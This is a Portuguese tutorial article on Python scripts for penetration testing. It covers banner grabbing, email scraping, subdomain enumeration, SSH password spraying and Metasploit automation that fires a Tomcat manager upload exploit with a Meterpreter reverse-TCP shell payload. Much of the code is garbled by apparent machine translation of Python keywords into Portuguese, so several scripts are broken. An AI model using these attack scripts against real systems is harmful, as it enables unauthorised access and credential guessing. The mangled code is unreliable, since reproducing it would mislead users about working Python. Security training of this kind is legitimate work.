O teste de penetração, frequentemente chamado de hacking ético, é um aspecto vital da segurança cibernética. É o processo de identificar e explorar vulnerabilidades em um sistema para protegê-lo contra ameaças potenciais. Embora existam inúmeras ferramentas disponíveis para testes de penetração, o Python continua sendo o favorito entre os testadores de penetração devido à sua versatilidade, facilidade de uso e um rico ecossistema de bibliotecas e frameworks. Neste artigo, vamos nos aprofundar em técnicas avançadas de script em Python para testadores de penetração e fornecer alguns scripts úteis para aprimorar seu fluxo de trabalho.
Técnicas avançadas de script Python
- Programação de soquetes para exploração de rede:
- A biblioteca Python
socketpermite que testadores de penetração criem ferramentas de rede personalizadas para diversas tarefas, como varredura de portas, captura de banners ou até mesmo a criação de exploits personalizados. Ao usar a programação por sockets, você obtém controle refinado sobre as interações de rede. - Aqui está um script Python simples para executar um banner grabber:
import socket
target = "example.com"
port = 80
def banner_grab ( target, port ):
try :
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
banner = s.recv( 1024 )
print ( "[+] Banner: " + banner.decode().strip())
s.close()
except Exception as e:
print ( "[-] Erro: " + str (e))
banner_grab(target, port)
- Web Scraping para Reconhecimento:
- As bibliotecas de web scraping do Python
requestssãoBeautifulSoupinestimáveis para coletar informações de sites. Testadores de penetração podem usar web scraping para coletar dados, como endereços de e-mail, subdomínios ou vazamento de informações confidenciais, que podem ser cruciais para um ataque. - Aqui está um script Python para extrair endereços de e-mail de uma página da web:
importar solicitações
do bs4 importar BeautifulSoup
importar re
url = "https://example.com"
def scrape_emails ( url ):
resposta = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser' )
emails = re.findall( r'\S+@\S+' , soup.get_text())
retornar definir (emails)
email_set = scrape_emails(url)
para email em email_set:
print ( "[+] E-mail encontrado: " + email)
- Automatizando Exploits com a API Metasploit:
- O Metasploit Framework é uma ferramenta popular de teste de penetração que permite automatizar o processo de exploração. Você pode interagir com o Metasploit usando sua API REST em Python, permitindo que você crie scripts para a exploração de vulnerabilidades.
- Para usar a API Metasploit em Python, você pode instalar a
msfrpcbiblioteca e criar scripts para automatizar tarefas de exploração.
de msfrpc importar MsfRpcClient
# Conectar ao servidor Metasploit RPC
cliente = MsfRpcClient ( 'seu_ip_metasploit' , porta = 55553 )
# Listar exploits disponíveis
exploits = client.modules.exploits
para exploit em exploits:
print ( "[+] Exploit: " + exploit)
# Executar um exploit
exploit = exploits. use ( 'exploit/multi/http/tomcat_mgr_upload' )
exploit[ 'RHOSTS' ] = 'ip_alvo'
exploit. execute (payload = 'payload/meterpreter/reverse_tcp' )
Scripts Python úteis para testes de penetração
- Script de enumeração de subdomínio:
- A enumeração de subdomínios é uma parte crucial do reconhecimento. O script a seguir utiliza o
subprocessmódulo para executar a popular ferramentaSublist3rde descoberta de subdomínios:
importar subprocesso
domínio = "exemplo.com"
def enumerate_subdomains ( domínio ):
tentar :
subprocess.run([ "python3" , "Sublist3r.py" , "-d" , domínio])
exceto Exceção como e:
print ( "[-] Erro: " + str (e))
enumerate_subdomains(domínio)
- Script de pulverização de senhas:
- A pulverização de senhas é uma técnica usada para testar senhas fracas em várias contas. O seguinte script Python usa a
paramikobiblioteca para automatizar a pulverização de senhas via SSH:
importar paramiko
target = "ssh.example.com"
nome de usuário = "usuário"
senhas = [ "senha1" , "senha2" , "senha3" ]
def password_spray ( target, nome de usuário, senhas ):
para senha em senhas:
tente :
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(target, nome de usuário=nome de usuário, senha=senha)
print ( "[+] Senha encontrada: " + senha)
ssh.close()
break
except paramiko.AuthenticationException:
print ( "[-] Senha incorreta: " + senha)
except Exception as e:
print ( "[-] Erro: " + str (e))
password_spray(target, nome de usuário, senhas)
Conclusão
Python é uma ferramenta indispensável para testadores de penetração, oferecendo a flexibilidade necessária para criar scripts personalizados e automatizar diversas tarefas durante o processo de teste. Os scripts mencionados neste artigo são apenas a ponta do iceberg; os recursos do Python são vastos e limitados apenas pela sua criatividade e pelas necessidades dos seus testes de penetração. Ao dominar essas técnicas avançadas de script em Python, você pode aumentar sua eficácia como testador de penetração e fortalecer seus esforços de segurança cibernética. Boas atividades de hacking!

Deixe um comentário